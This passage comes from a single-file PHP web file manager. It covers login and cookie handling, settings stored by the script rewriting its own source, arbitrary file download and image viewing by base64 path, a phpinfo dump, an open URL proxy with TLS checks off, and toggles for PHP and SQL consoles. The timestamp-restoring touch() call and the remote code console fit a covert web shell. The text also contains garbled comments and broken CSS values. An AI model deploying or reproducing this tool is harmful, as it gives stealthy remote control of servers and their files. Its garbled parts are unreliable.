	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
